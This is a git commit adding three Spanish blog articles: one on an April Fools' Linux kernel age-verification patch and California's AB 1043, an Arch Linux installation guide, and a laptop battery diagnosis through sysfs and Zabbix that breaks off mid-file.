commit 3fa108e05ee24da01c82d7553fe766780abce245
parent c0b3ff42068e16eab2fd57674059e6d3b174fdd0
Author: fjbalon <fjbalon@templier.es>
Date: Mon, 5 Oct 2026 00:39:03 +0200
Añadida otra tanda de artículos computacionales
Diffstat:
35 files changed, 1836 insertions(+), 0 deletions(-)
diff --git a/ab-1043-linux/7bbf8de17e7fb8a62cf10dfc13bbfb95781d2491.png b/ab-1043-linux/7bbf8de17e7fb8a62cf10dfc13bbfb95781d2491.png
Binary files differ.
diff --git a/ab-1043-linux/c3dbd229b287af6db1b02cf53a15d27ae7db7b97.png b/ab-1043-linux/c3dbd229b287af6db1b02cf53a15d27ae7db7b97.png
Binary files differ.
diff --git a/ab-1043-linux/index.html b/ab-1043-linux/index.html
@@ -0,0 +1,240 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>La ley AB 1043 (Digital Age Assurance Act) de California en el kernel de Linux</title>
+<link rel="icon" type="image/png" href="/favicon.png" />
+<link rel="stylesheet" type="text/css" href="../article.css" />
+</head>
+<body>
+<header>
+<p class="title">La ley AB 1043 (Digital Age Assurance Act) de California en el kernel de Linux</p>
+<p class="date">2 de abril de 2026 • fjbalon</p>
+</header>
+<p>En el día de ayer, se ha visto publicado en el Linux Kernel Mail List un <a href="https://lkml.org/lkml/2026/4/1/1284">correo</a> que detalla un parche muy llamativo: <emb>[PATCH] vfs: require verified birth date for file creation</emb>.</p>
+<img src="c3dbd229b287af6db1b02cf53a15d27ae7db7b97.png" />
+<p>En él, Brauner detalla que, por la nueva regulación, todo el contenido digital, incluido las operaciones de creación de archivos deben ser realizadas por adultos verificados, ¡la creación de archivos!. Ya que la creación de archivos es la más primitiva y fundamental forma de creación de contenido en un sistema operativo, por lo que va regulado por la VFS.</p>
+<p>El parche introduce <emb>CONFIG_VFS_AGE_VERIFICATION</emb> que, cuando está habilitado, requiere que todos los procesos registren una fecha de nacimiento válida a través de <emb>prctl(PR_SET_BIRTHDATE)</emb> antes de que se le permita crear archivos. La fecha de nacimiento se almacena en <emb>struct task_struct</emb> y se hereda a través de <emb>fork()</emb>.</p>
+<p>La creación del archivo fallará con el nuevo código de error <emb>ETOOYOUNG</emb> si:</p>
+<p>a. No se ha registrado fecha de nacimiento.</p>
+<p>b. La fecha de nacimiento registrada indica que el usuario es menor de 18 años.</p>
+<p>Se ha añadido el nuevo <emb>errno</emb>, <emb>ETOOYOUNG (134)</emb>. De esta forma el espacio de usuario o la propia distribución pueda manejar el error mostrando un mensaje tranquilizador. El autor sugiere «se requiere un padre o tutor legal que cree el archivo en su nombre».</p>
+<p>Aquí está todo el código del <emb>diff</emb> para quien le interese:</p>
+<pre><code class="diff"><span class="hunk">@@ -42,6 +42,23 @@ source "fs/crypto/Kconfig"</span>
+ source "fs/verity/Kconfig"
+ source "fs/notify/Kconfig"
+
+<span class="add">+config VFS_AGE_VERIFICATION</span>
+<span class="add">+ bool "Require birth date verification for file creation"</span>
+<span class="add">+ default y</span>
+<span class="add">+ help</span>
+<span class="add">+ When enabled, every process must register a valid birth date via</span>
+<span class="add">+ prctl(PR_SET_BIRTHDATE, day, month, year) before being allowed to</span>
+<span class="add">+ create files. Processes that have not registered a birth date or</span>
+<span class="add">+ whose registered birth date indicates they are under 18 years of</span>
+<span class="add">+ age will receive -ETOOYOUNG on any file creation attempt.</span>
+<span class="add">+</span>
+<span class="add">+ If unsure, say Y. Failure to comply may result in stern letters</span>
+<span class="add">+ from lawyers. You don't want that. Trust us. Say Y.</span>
+<span class="add">+</span>
+ source "fs/quota/Kconfig"
+
+ source "fs/autofs/Kconfig"
+<span class="info">diff --git a/include/uapi/asm-generic/errno.h b/include/uapi/asm-generic/errno.h</span>
+<span class="info">index 1..2 100644</span>
+<span class="info">--- a/include/uapi/asm-generic/errno.h</span>
+<span class="info">+++ b/include/uapi/asm-generic/errno.h</span>
+<span class="hunk">@@ -20,4 +20,6 @@</span>
+
+ #define EHWPOISON 133 /* Memory page has hardware error */
+
+<span class="add">+#define ETOOYOUNG 134 /* Process too young to create content */</span>
+<span class="add">+</span>
+ #endif
+<span class="info">diff --git a/include/uapi/linux/prctl.h b/include/uapi/linux/prctl.h</span>
+<span class="info">index 3..4 100644</span>
+<span class="info">--- a/include/uapi/linux/prctl.h</span>
+<span class="info">+++ b/include/uapi/linux/prctl.h</span>
+<span class="hunk">@@ -328,4 +328,8 @@</span>
+
+ #define PR_LOCK_INDIR_BR_LP_STATUS 82
+
+<span class="add">+/* age verification for file creation */</span>
+<span class="add">+#define PR_SET_BIRTHDATE 83</span>
+<span class="add">+#define PR_GET_BIRTHDATE 84</span>
+<span class="add">+</span>
+ #endif /* _LINUX_PRCTL_H */
+<span class="info">diff --git a/include/linux/sched.h b/include/linux/sched.h</span>
+<span class="info">index 5..6 100644</span>
+<span class="info">--- a/include/linux/sched.h</span>
+<span class="info">+++ b/include/linux/sched.h</span>
+<span class="hunk">@@ -1215,6 +1215,14 @@ struct task_struct {</span>
+ #endif
+ struct seccomp seccomp;
+ struct syscall_user_dispatch syscall_dispatch;
+<span class="add">+</span>
+<span class="add">+#ifdef CONFIG_VFS_AGE_VERIFICATION</span>
+<span class="add">+ /* compliance - birth date for age verification */</span>
+<span class="add">+ u8 birthdate_day;</span>
+<span class="add">+ u8 birthdate_month;</span>
+<span class="add">+ u16 birthdate_year;</span>
+<span class="add">+ bool birthdate_verified;</span>
+<span class="add">+#endif</span>
+
+ /* Thread group tracking: */
+ u64 parent_exec_id;
+<span class="info">diff --git a/kernel/sys.c b/kernel/sys.c</span>
+<span class="info">index 7..8 100644</span>
+<span class="info">--- a/kernel/sys.c</span>
+<span class="info">+++ b/kernel/sys.c</span>
+<span class="hunk">@@ -2345,6 +2345,48 @@ SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,</span>
+ break;
+<span class="add">+</span>
+<span class="add">+#ifdef CONFIG_VFS_AGE_VERIFICATION</span>
+<span class="add">+ case PR_SET_BIRTHDATE:</span>
+<span class="add">+ {</span>
+<span class="add">+ u8 day = (u8)arg2;</span>
+<span class="add">+ u8 month = (u8)arg3;</span>
+<span class="add">+ u16 year = (u16)arg4;</span>
+<span class="add">+ struct tm now;</span>
+<span class="add">+ int age;</span>
+<span class="add">+</span>
+<span class="add">+ /* Basic date validation */</span>
+<span class="add">+ if (month < 1 || month > 12)</span>
+<span class="add">+ return -EINVAL;</span>
+<span class="add">+ if (day < 1 || day > 31)</span>
+<span class="add">+ return -EINVAL;</span>
+<span class="add">+ if (year < 1900)</span>
+<span class="add">+ return -EINVAL;</span>
+<span class="add">+</span>
+<span class="add">+ time64_to_tm(ktime_get_real_seconds(), 0, &now);</span>
+<span class="add">+</span>
+<span class="add">+ /* The kernel does not support vampires or immortal entities */</span>
+<span class="add">+ if ((now.tm_year + 1900) - year > 150)</span>
+<span class="add">+ return -EINVAL;</span>
+<span class="add">+</span>
+<span class="add">+ /* No time travelers either */</span>
+<span class="add">+ if (year > (now.tm_year + 1900))</span>
+<span class="add">+ return -EINVAL;</span>
+<span class="add">+</span>
+<span class="add">+ me->birthdate_day = day;</span>
+<span class="add">+ me->birthdate_month = month;</span>
+<span class="add">+ me->birthdate_year = year;</span>
+<span class="add">+ me->birthdate_verified = true;</span>
+<span class="add">+</span>
+<span class="add">+ age = (now.tm_year + 1900) - year;</span>
+<span class="add">+ if (now.tm_mon + 1 < month ||</span>
+<span class="add">+ (now.tm_mon + 1 == month && now.tm_mday < day))</span>
+<span class="add">+ age--;</span>
+<span class="add">+</span>
+<span class="add">+ if (age < 18)</span>
+<span class="add">+ pr_info_ratelimited("Process %d (comm: %s) registered as minor (age %d). "</span>
+<span class="add">+ "File creation will be denied. Please ask a "</span>
+<span class="add">+ "parent or guardian for assistance.\n",</span>
+<span class="add">+ task_pid_nr(me), me->comm, age);</span>
+<span class="add">+ break;</span>
+<span class="add">+ }</span>
+<span class="add">+ case PR_GET_BIRTHDATE:</span>
+<span class="add">+ if (!me->birthdate_verified)</span>
+<span class="add">+ return -EINVAL;</span>
+<span class="add">+ if (put_user(me->birthdate_day, (u8 __user *)arg2) ||</span>
+<span class="add">+ put_user(me->birthdate_month, (u8 __user *)arg3) ||</span>
+<span class="add">+ put_user(me->birthdate_year, (u16 __user *)arg4))</span>
+<span class="add">+ return -EFAULT;</span>
+<span class="add">+ break;</span>
+<span class="add">+#endif /* CONFIG_VFS_AGE_VERIFICATION */</span>
+<span class="add">+</span>
+ default:
+ error = -EINVAL;
+ break;
+<span class="info">diff --git a/fs/namei.c b/fs/namei.c</span>
+<span class="info">index 9..10 100644</span>
+<span class="info">--- a/fs/namei.c</span>
+<span class="info">+++ b/fs/namei.c</span>
+<span class="hunk">@@ -4148,6 +4148,45 @@ static int vfs_mknodat(struct mnt_idmap *idmap, struct dentry *dentry,</span>
+ umode_t mode, dev_t dev);
+
+<span class="add">+#ifdef CONFIG_VFS_AGE_VERIFICATION</span>
+<span class="add">+/**</span>
+<span class="add">+ * check_age_verification - verify the calling process has registered a valid</span>
+<span class="add">+ * birth date and is old enough to create files.</span>
+<span class="add">+ *</span>
+<span class="add">+ * Returns 0 if the caller is verified as an adult (>= 18 years old).</span>
+<span class="add">+ * Returns -ETOOYOUNG if the caller is a minor or has not registered a</span>
+<span class="add">+ * birth date.</span>
+<span class="add">+ *</span>
+<span class="add">+ * This function exists because the fundamental UNIX</span>
+<span class="add">+ * principle of "everything is a file" was insufficiently regulated.</span>
+<span class="add">+ */</span>
+<span class="add">+static int check_age_verification(void)</span>
+<span class="add">+{</span>
+<span class="add">+ struct task_struct *tsk = current;</span>
+<span class="add">+ struct tm now;</span>
+<span class="add">+ int age;</span>
+<span class="add">+</span>
+<span class="add">+ if (!tsk->birthdate_verified) {</span>
+<span class="add">+ pr_warn_ratelimited(</span>
+<span class="add">+ "Process %d (comm: %s) attempted to create a file "</span>
+<span class="add">+ "without age verification. Set birth date via "</span>
+<span class="add">+ "prctl(PR_SET_BIRTHDATE, day, month, year).\n",</span>
+<span class="add">+ task_pid_nr(tsk), tsk->comm);</span>
+<span class="add">+ return -ETOOYOUNG;</span>
+<span class="add">+ }</span>
+<span class="add">+</span>
+<span class="add">+ time64_to_tm(ktime_get_real_seconds(), 0, &now);</span>
+<span class="add">+</span>
+<span class="add">+ age = (now.tm_year + 1900) - tsk->birthdate_year;</span>
+<span class="add">+ if (now.tm_mon + 1 < tsk->birthdate_month ||</span>
+<span class="add">+ (now.tm_mon + 1 == tsk->birthdate_month &&</span>
+<span class="add">+ now.tm_mday < tsk->birthdate_day))</span>
+<span class="add">+ age--;</span>
+<span class="add">+</span>
+<span class="add">+ if (age < 18) {</span>
+<span class="add">+ pr_warn_ratelimited(</span>
+<span class="add">+ "Process %d (comm: %s) is only %d years old. "</span>
+<span class="add">+ "Must be 18 or older to create files. "</span>
+<span class="add">+ "Ask a parent or guardian for help.\n",</span>
+<span class="add">+ task_pid_nr(tsk), tsk->comm, age);</span>
+<span class="add">+ return -ETOOYOUNG;</span>
+<span class="add">+ }</span>
+<span class="add">+</span>
+<span class="add">+ return 0;</span>
+<span class="add">+}</span>
+<span class="add">+#endif /* CONFIG_VFS_AGE_VERIFICATION */</span>
+<span class="add">+</span>
+ /**
+ * vfs_create - create new file
+ * @idmap: idmap of the mount the inode was found from
+<span class="hunk">@@ -4170,6 +4209,12 @@ int vfs_create(struct mnt_idmap *idmap, struct dentry *dentry, umode_t mode,</span>
+ if (error)
+ return error;
+
+<span class="add">+#ifdef CONFIG_VFS_AGE_VERIFICATION</span>
+<span class="add">+ error = check_age_verification();</span>
+<span class="add">+ if (error)</span>
+<span class="add">+ return error;</span>
+<span class="add">+#endif</span>
+<span class="add">+</span>
+ if (!dir->i_op->create)
+ return -EACCES; /* shouldn't it be ENOSYS? */
+
+<span class="del">--</span>
+2.49.0</code></pre>
+<p>Entre las partes más interesantes, a mi parecer, son que con este parche, el Kernel de Linux no soportará deliberadamente el uso de vampiros ni entidades inmortales, estableciendo un condicional que si, la fecha es superior a 150 años en el pasado, devuelve error.</p>
+<pre><code>/* The kernel does not support vampires or immortal entities */
+if ((now.tm_year + 1900) - year > 150)
+ return -EINVAL;</code></pre>
+<p>Tampoco soportará viajeros en el tiempo, que tengan establecida una fecha de futuro.</p>
+<pre><code>/* No time travelers either */
+if (year > (now.tm_year + 1900))
+ return -EINVAL;</code></pre>
+<p>Si has llegado hasta aquí ya habrás notado que ayer fue 1 de abril, fecha en el que muchos países anglosajones celebran un día de inocentadas y bromas. Hasta el mismo Linus Torvalds ha <a href="https://lkml.org/lkml/2026/4/1/1730">respondido</a> al mail:</p>
+<img src="7bbf8de17e7fb8a62cf10dfc13bbfb95781d2491.png" />
+<p>Para quien no tenga ningun contexto, esto obedece a la <i>ley AB 1043 (Digital Age Assurance Act)</i> de California, que pretende obligar a los sistemas operativos a verificar la edad de los usuarios con multas absurdas por incumplimiento.</p>
+<p>Tanto puede poner en apuros a algunas pequeñas y grandes distribuciones, que algunas como MidnightBSD ha tomado la bizarra decisión de bloquear geográficamente las descargas de su distribución a usuarios de California mientras buscan una “alternativa”, como la creción de un comandos <emb>aged</emb> y <emb>agectl</emb> que llame a una variable edad.</p>
+<p>Como era de esperar, esto evidentemente no es propio de California y Silicon Valley, es un proyecto de todas las élites de Occidente, desde Estados Unidos, Gran Bretaña y la Unión Europea. Con la excusa lamentable de proteger a los niños en la red... Sí, las élites diciendo defender a los niños...</p>
+<p>Evidentemente la propia estructura y esencia, tanto a nivel de sistema operativo como a nivel de distribución y descentralización hace que los entornos GNU/Linux y Unix Like sean una fortaleza, en cierta medida, de este tipo de políticas; al menos en cuanto al Cosmos: pequeñas distros sí podrían verse gravemente afectadas por el asedio legal positivista.</p>
+<p>Esto es algo que, evidentemente, me tranquiliza. ¿Cómo evitarían que en mi copia de una distribución de GNU/Linux quite, antes o después de compilarla, los elementos de control de edad? Además, el propio enfoque de la ley es absolutamente desconocedor del mundo industrial informático, reduciéndolo a usuarios domésticos y ordinarios. ¿Qué pasa con los servidores? ¿qué edad debería tener un servidor dedicado? ¿la del administrador? ¿la del jefe de la empresa? ¿y los sistemas embebidos autónomos? No tiene ningún sentido.</p>
+</body>
+</html>
+\ No newline at end of file
diff --git a/archlinux/index.html b/archlinux/index.html
@@ -0,0 +1,94 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>Guía de instalación de arch linux base</title>
+<link rel="icon" type="image/png" href="/favicon.png" />
+<link rel="stylesheet" type="text/css" href="../article.css" />
+</head>
+<body>
+<header>
+<p class="title">Guía de instalación de arch linux base</p>
+<p class="date">22 de marzo de 2016 • fjbalon</p>
+</header>
+<p>Adentrándonos en el vasto universo de Unix y GNU/Linux, en especial en su distributismo característico; Arch Linux se presenta como una distro recomendada a usuarios avanzados y con cierto conocimiento técnico dentro del cosmos de Linux. Arch presenta un enfoque minimalista y <i>KISS</i> (<i>Keep It Simple, Stupid</i>) y, en cierto modo, <i>Do It Yourself</i>.</p>
+<p>Esta distribución tiene sus raíces en 2002, cuando Judd Vinet la construyó en un enfoque de entorno simple y elegante, permitiendo a sus usarios modelar su sistema de acuerdo a sus necesidades y preferencias. Se trata además de un sistema de actualización <i>rolling release</i>, lo que aporta un mantenimiento continuo sin necesidad de reinstalaciones periódicas; característica que, unida a su gestor de paquetes <emb>pacman</emb> ofrece una experiencia de usuario ágil y, sobretodo, rápida de gestión de las últimas versiones del software.</p>
+<p>Realmente, el uso de Arch es muy simple, siendo incluso más simple que distribuciones basadas en Debian (sobretodo, por su gestor de paquetes, que lo hace excesivamente sencillo de utilizar incluso para un novato). Sin embargo, si hay una barrera de entrada para comenzar a usar este sistema operativo no es otra que cosa que la instalación. La instalación del sistema no cuenta con formularios gráficos ni diálogos que guien al usuario; sino simplemente ofrece una sesión de shell y otorga libertad total sobre ella al usuario.</p>
+<p>Es por esta razón que he compendiado los pasos que realizó personalmente a la hora de construir mi sistema de Arch.</p>
+<p>El inicio es sencillo, el console keymap por defecto es US (inglés americano). Para modificar el diseño, se puede agregar el nombre de layout correspondiente. Por ejemplo, para establecer una distribución de teclado en español utilizo:</p>
+<pre><code>loadkeys es</code></pre>
+<h2>Verificación de modo de arranque (boot mode)</h2>
+<p>En términos simples, la BIOS (Sistema Básico de Entrada/Salida) y UEFI (Interfaz de Firmware Extensible Unificada) son dos tecnologías diferentes utilizadas para iniciar un sistema operativo en una computadora.</p>
+<p>La BIOS, que significa Sistema Básico de Entrada/Salida, ha sido la interfaz estándar durante décadas. Se encarga de las operaciones básicas del sistema, incluido el proceso de arranque. Sin embargo, tiene limitaciones en cuanto a la capacidad de manejar discos duros grandes y sistemas operativos modernos.</p>
+<p>Por otro lado, UEFI, que significa Interfaz de Firmware Extensible Unificada, es una tecnología más reciente que reemplaza gradualmente a la BIOS. UEFI proporciona una interfaz más avanzada y versátil, permitiendo un arranque más rápido y una mayor capacidad para gestionar hardware y sistemas operativos modernos. Además, UEFI supera las limitaciones de tamaño de disco asociadas con la BIOS.
+<p>Para verificar el modo de arranque, bastaría listar el directorio <emb>efivars</emb>:</p>
+<pre><code>ls /sys/firmware/efi/efivars</code></pre>
+<p>Si la salida muestra el contenido del directorio (stdout) sin error, entonces el sistema de inicio es UEFI. Si por el contrario ofrece error (stderr) debido a que el directorio no existe, entonces el sistema se inicia en modo BIOS (ó CSM).</p> <h2>Conexión a Internet</h2>
+<p>Si tenemos comunicación ethernet con salida a Internet, bastaría conectarlo; generalmente el DHCP trabajará solo. De lo contrario será necesario establecer conexión con la red a través de WiFi (siempre que el equipo cuente con el hardware necesario). Utilizaremos <emb>iwctl</emb> para autenticarnos a la red inalámbrica, identificaremos la interfaz de red, escanearemos las conexiones WiFi disponibles y conectaremos con la que identifiquemos por su SSID:</p>
+<pre><code>iwctl
+[iwd]# device list
+[iwd]# station d scan
+[iwd]# station d get-networks
+[iwd]# station d connect SSID</code></pre>
+<h2>Particionado de discos</h2>
+<p>Cuando son reconocidos por el sistema live, los discos son asignados a un dispositivo de bloques como <emb>/dev/sda</emb>, <emb>/dev/nvme0n1</emb> ó <emb>/dev/mmcblk0</emb>. Para identificar estos dispositivos, utilice <emb>lsblk</emb> ó <emb>fdisk</emb>. El siguiente presupondrá la siguiente partición de discos:</p>
+<pre><code>boot /dev/sda1 /boot 150MB *Bootable
+root /dev/sda2 / -
+home /dev/sda3 /home -
+swap /dev/sda4 /swap 2GB Type: Linux Swap / Solaris</code></pre><h2>Formateo de particiones</h2>
+<p>Una vez particionados los discos y sus particiones, éstas deben ser formateadas con un sistema de archivos apropiado.</p>
+<pre><code>mkfs.vfat -F32 $boot # UEFI
+mkfs.ext2 $boot # BIOS
+mkfs.ext4 $root
+mkfs.ext4 $home
+mkswap $swap
+swapon $swap</code></pre><h2>Montaje de sistema de archivos</h2>
+<p>El montaje en el directorio /mnt debe comenzar siempre con la raíz: </p>
+<pre><code>mount $root /mnt
+mkdir -p /mnt/boot/efi && mount $boot /mnt/boot/efi # UEFI
+mkdir /mnt/boot && mount $boot /mnt/boot # BIOS
+mkdir /mnt/home && mount $home /mnt/home</code></pre>
+<h2>Instalación del sistema base</h2>
+<p>Los paquetes a instalar se descargarán de los servidores espejo, que se definen en <emb>/etc/pacman.d/mirrorlist</emb>. Cuanto más alto se coloca un espejo en la lista, más prioridad se le da al descargar un paquete; por lo que es posible que desee inspeccionar el archivo para ver si se encuentra en una prioridad deseable. Si no fuera así, edite el archivo en consecuencia y mueva los espejos geográficamente más cercanos a la parte superior de la lista (aunque existen otros criterios).</p>
+<p>Use el script pacstrap para instalar el paquete base, el kernel de Linux y el firmware para hardware común: </p>
+<pre><code>pacstrap /mnt base linux linux-firmware</code></pre>
+<p>Puede sustituir linux por un paquete de kernel de su elección, por supuesto. Tenga en cuenta que el paquete base no incluye todas las herramientas de la instalación en vivo, por lo que la instalación de otros paquetes puede ser necesaria para mantener el sistema base funcional. Como es mi caso, que añado:</p>
+<pre><code>pacstrap /mnt base-devel grub networkmanager nano dhcpcd
+pacstrap /mnt efibootmgr # UEFI</code></pre>
+<h2>Configuración del sistema base</h2>
+<p>Generamos el archivo <emb>/etc/fstab</emb>, que contiene los parámetros de configuración de montaje de los distintos sistemas de archivos para el sistema. Puede usar <emb>-U</emb> ó <emb>-L</emb> para definir por UUID o labels, respectivamente). Después, nos enjaularemos en la partición montada en <emb>/mnt</emb> con <emb>chroot</emb>:</p>
+<pre><code>genfstab -U -p /mnt >> /mnt/etc/fstab
+arch-chroot /mnt</code></pre>
+<p>Una vez enjaulados, podemos proceder a realizar parametrizaciones y configuraciones propias del sistema operativo en instalación, como son la zona horario, la localización y el mapa de teclas (keymap):</p>
+<pre><code>ln -s /usr/share/zoneinfo/Europe/Madrid /etc/localtime
+echo "LANG=es_ES.UTF-8" >> /etc/locale.conf
+echo "es_ES.UTF-8 UTF-8" >> /etc/locale.gen
+locale-gen
+echo "KEYMAP=es" >> /etc/vconsole.conf
+hwclock -w</code></pre>
+<p>También configuraremos el hostname e instalaremos los paquetes adicionales a través de pacman:</p>
+<pre><codeb>echo $hostname >> /etc/hostname
+pacman -Sy --noconfirm git tree openssh openvpn gnupg nmap ipcalc pulseaudio pulseaudio-alsa pavucontrol pamixer acpi acpid</codeb></pre>
+<h2>Configuración de usuario</h2>
+<p>La nueva instalación le dejará sólo con una cuenta de root. Iniciar sesión como root durante períodos prolongados de tiempo o exponerlo a través de SSH en un servidor es altamente inseguro. Por ello, le recomiendo (según sus necesidades) crear y usar una cuenta de usuario sin privilegios, que empleará en la mayoría de las tareas de usuario, dejando la cuenta root para la administración del sistema. Además, añadiremos al grupo <emb>wheel</emb>, grupo al que pertenece el nuevo usuario creado, permisos de sudo.</p>
+<pre><code>useradd -m -g users -G audio,lp,optical,storage,video,wheel,games,power,scanner -s /bin/bash $username
+passwd # clave de root
+passwd $username
+echo "%wheel ALL=(ALL) ALL" >> /etc/sudoers</code></pre>
+<h2>Arch User Repository [AUR]</h2>
+<p>Si bien el Sistema de Compilación de Arch (Arch Build System) permite la capacidad de compilar software disponible en los repositorios oficiales, el Repositorio de Usuarios de Arch (Arch User Repository - AUR) es el equivalente para los paquetes enviados por el usuario. Para poder usarlo es necesario un software de gestión de paquetes especializado, como yay:</p>
+<pre><code>git clone https://aur.archlinux.org/yay.git
+cd yay
+makepkg -si
+yay -Syu</code></pre>
+<h2>Configuración del gestor de arranque (bootloader)</h2>
+<p>Elija e instale un gestor de arranque compatible con Linux. En este caso yo uso grub:</p>
+<pre><code>grub-install --efi-directory=/boot/efi --bootloader-id='Arch Linux' --target=x86_64-efi # UEFI
+grub-install /dev/sda # BIOS
+grub-mkconfig -o /boot/grub/grub.cfg</code></pre>
+<h2>Initframs</h2>
+<p>Por lo general, no es necesario crear un nuevo initramfs, ya que <emb>mkinitcpio</emb> se ejecutó en la instalación del paquete del kernel con pacstrap. Tenga en cuenta que para LVM, cifrado del sistema o RAID será necesario modificar <emb>mkinitcpio.conf</emb> y volver a crear la imagen initramfs.</p>
+<pre><code>mkinitcpio -p linux</code></pre>
+</body>
+</html>
+\ No newline at end of file
diff --git a/bateria/index.html b/bateria/index.html
@@ -0,0 +1,144 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>Diagnóstico de batería de litio desde software</title>
+<link rel="icon" type="image/png" href="/favicon.png" />
+<link rel="stylesheet" type="text/css" href="../article.css" />
+</head>
+<body>
+<header>
+<p class="title">Diagnóstico de batería de litio desde software</p>
+<p class="date">8 de diciembre de 2022 • fjbalon</p>
+</header>
+<p>La siguiente sección del cuaderno de bitácora detalla la investigación que he llevado a cabo para determinar el estado de salud de la batería de litio de mi ordenador portátil, la cual mantiene desde hace algo de tiempo un comportamiento extraño. Primero de todo, he querido omitir pruebas eléctricas directamente sobre el hardware, para detallar los pasos sobre el software y el sistema operativo que he seguido para determinar el diagnóstico.</p>
+<p>La única información realmente útil para el lector es, entonces, que utilizo el sistema operativo GNU/Linux (con el kernel <emb>6.0.11-arch1-1</emb>) en su distribución archlinux.</p>
+<p>Para leer el porcentaje de batería utilizada uso ACPI (<emb>acpi 1.7</emb>), concretamente los valores que se encuentran en <emb>/sys/class/power_supply/BAT0/</emb> (siendo <emb>BAT0</emb> la interfaz de batería de mi equipo).</p>
+<p>Concretamente, el fragmento del código que obtiene el valor de batería es:</p>
+<pre><code>int perc;
+char path[PATH_MAX];
+
+if (esnprintf(path, sizeof(path), "/sys/class/power_supply/BAT0/capacity", bat) < 0) {
+ return NULL;
+}
+
+if (pscanf(path, "%d", &perc) != 1) {
+ return NULL;
+}
+
+return bprintf("%d", perc);</code></pre>
+<p>Que recibe el valor del fichero <emb>capacity</emb>. Llegados a este punto, es necesario aclarar los distintos ficheros del directorio <emb>/sys/class/power_supply/BAT0/</emb> (que se resumen en el fichero <emb>uevent</emb>):</p>
+<pre><code>POWER_SUPPLY_NAME=BAT0
+POWER_SUPPLY_TYPE=Battery
+POWER_SUPPLY_STATUS=Discharging
+POWER_SUPPLY_PRESENT=1
+POWER_SUPPLY_TECHNOLOGY=Li-ion
+POWER_SUPPLY_CYCLE_COUNT=0
+POWER_SUPPLY_VOLTAGE_MIN_DESIGN=11400000
+POWER_SUPPLY_VOLTAGE_NOW=11759000
+POWER_SUPPLY_CURRENT_NOW=1089000
+POWER_SUPPLY_CHARGE_FULL_DESIGN=4100000
+POWER_SUPPLY_CHARGE_FULL=900000
+POWER_SUPPLY_CHARGE_NOW=675000
+POWER_SUPPLY_CAPACITY=75
+POWER_SUPPLY_CAPACITY_LEVEL=Normal
+POWER_SUPPLY_MODEL_NAME=standard
+POWER_SUPPLY_MANUFACTURER=OEM
+POWER_SUPPLY_SERIAL_NUMBER=00001</code></pre>
+<p>Para un mayor detalle, es posible que desee ver cómo se define la clase del dispositivo power-supply en <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/include/linux/power_supply.h?h=v6.0.11">include/linux/power_supply.h</a>. Sin embargo en esta entrada iré al grano.</p>
+<p>Por lo que todos los valores <emb>charge_*</emb> (<emb>charge_full_design</emb>, <emb>charge_full</emb> y <emb>charge_now</emb>) se mide en microamperios/hora (µAh), mientras que <emb>current_now</emb> se mide en microamperios (µA).</p>
+<pre><code>POWER_SUPPLY_CHARGE_FULL_DESIGN=4100000
+POWER_SUPPLY_CHARGE_FULL=900000
+POWER_SUPPLY_CHARGE_NOW=675000</code></pre>
+<p>Cuando era nueva, la batería afirma haber tenido una capacidad de carga completa de 4,10Ah (<emb>charge_full_design</emb>), pero desde entonces se ha degradado dando lugar a una capacidad de carga completa actual de 0,9Ah. Actualmente, le quedan 0,675Ah de carga. Que realizando un simple cálculo de porcentaje:</p>
+<math xmlns="http://www.w3.org/1998/Math/MathML" alttext="100\frac{0,675}{0,9}=75" display="block">
+<mrow>
+ <mrow>
+ <mn>100</mn>
+ <mo></mo>
+ <mfrac>
+ <mrow>
+ <mn>0</mn>
+ <mo>,</mo>
+ <mn>675</mn>
+ </mrow>
+ <mrow>
+ <mn>0</mn>
+ <mo>,</mo>
+ <mn>9</mn>
+ </mrow>
+ </mfrac>
+ </mrow>
+ <mo>=</mo>
+ <mn>75</mn>
+</mrow>
+</math>
+<p>Da como valor el porcentaje de batería restante, que también se obtiene de <emb>capacity</emb>:</p>
+<pre><code>cat /sys/class/power_supply/BAT0/capacity
+75</code></pre>
+<p>Por otro lado, el voltaje mínimo de diseño (nunca debería descargarse por debajo de este voltaje) se mide en microvoltios (µV):</p>
+<pre><code>POWER_SUPPLY_VOLTAGE_MIN_DESIGN=11400000
+POWER_SUPPLY_VOLTAGE_NOW=11759000</code></pre>
+<p>Siendo <emb>voltage_min_design</emb> 11400000µV, sea 11,4V. El voltaje actual según la medida en este momento es de 11,759V. La batería en este momento proporciona 1,089A de corriente:</p>
+<pre><code>POWER_SUPPLY_CURRENT_NOW=1089000</code></pre>
+<p>Como una simple estimación, con la corriente que está tomando de la batería en este momento:</p>
+<math xmlns="http://www.w3.org/1998/Math/MathML" alttext="\frac{0,675Ah}{1,089A}=0.62h=37m" display="block">
+<mrow>
+ <mfrac>
+ <mrow>
+ <mn>0</mn>
+ <mo>,</mo>
+ <mrow>
+ <mn>675</mn>
+ <mo></mo>
+ <mi>A</mi>
+ <mo></mo>
+ <mi>h</mi>
+ </mrow>
+ </mrow>
+ <mrow>
+ <mn>1</mn>
+ <mo>,</mo>
+ <mrow>
+ <mn>089</mn>
+ <mo></mo>
+ <mi>A</mi>
+ </mrow>
+ </mrow>
+ </mfrac>
+ <mo>=</mo>
+ <mrow>
+ <mn>0.62</mn>
+ <mo></mo>
+ <mi>h</mi>
+ </mrow>
+ <mo>=</mo>
+ <mrow>
+ <mn>37</mn>
+ <mo></mo>
+ <mi>m</mi>
+ </mrow>
+</mrow>
+</math>
+<p>Le quedan unos 37 minutos de energía.</p>
+<p>Sin embargo y como es evidente, no se puede diagnosticar por los valores concretos de un momento t en el tiempo, sin tener más valores estadísticos. Por lo que para ello, he implementado monitorización a través de un servidor Zabbix que gestione todos estos campos (concretamente para obtener una vez por minuto). Los <emb>UserParameters</emb> de Zabbix usados por el agente son:</p>
+<pre><code>UserParameter=ChargeNow,cat /sys/class/power_supply/BAT0/charge_now
+UserParameter=ChargeFull,cat /sys/class/power_supply/BAT0/charge_full
+UserParameter=ChargeFullDesign,cat /sys/class/power_supply/BAT0/charge_full_design
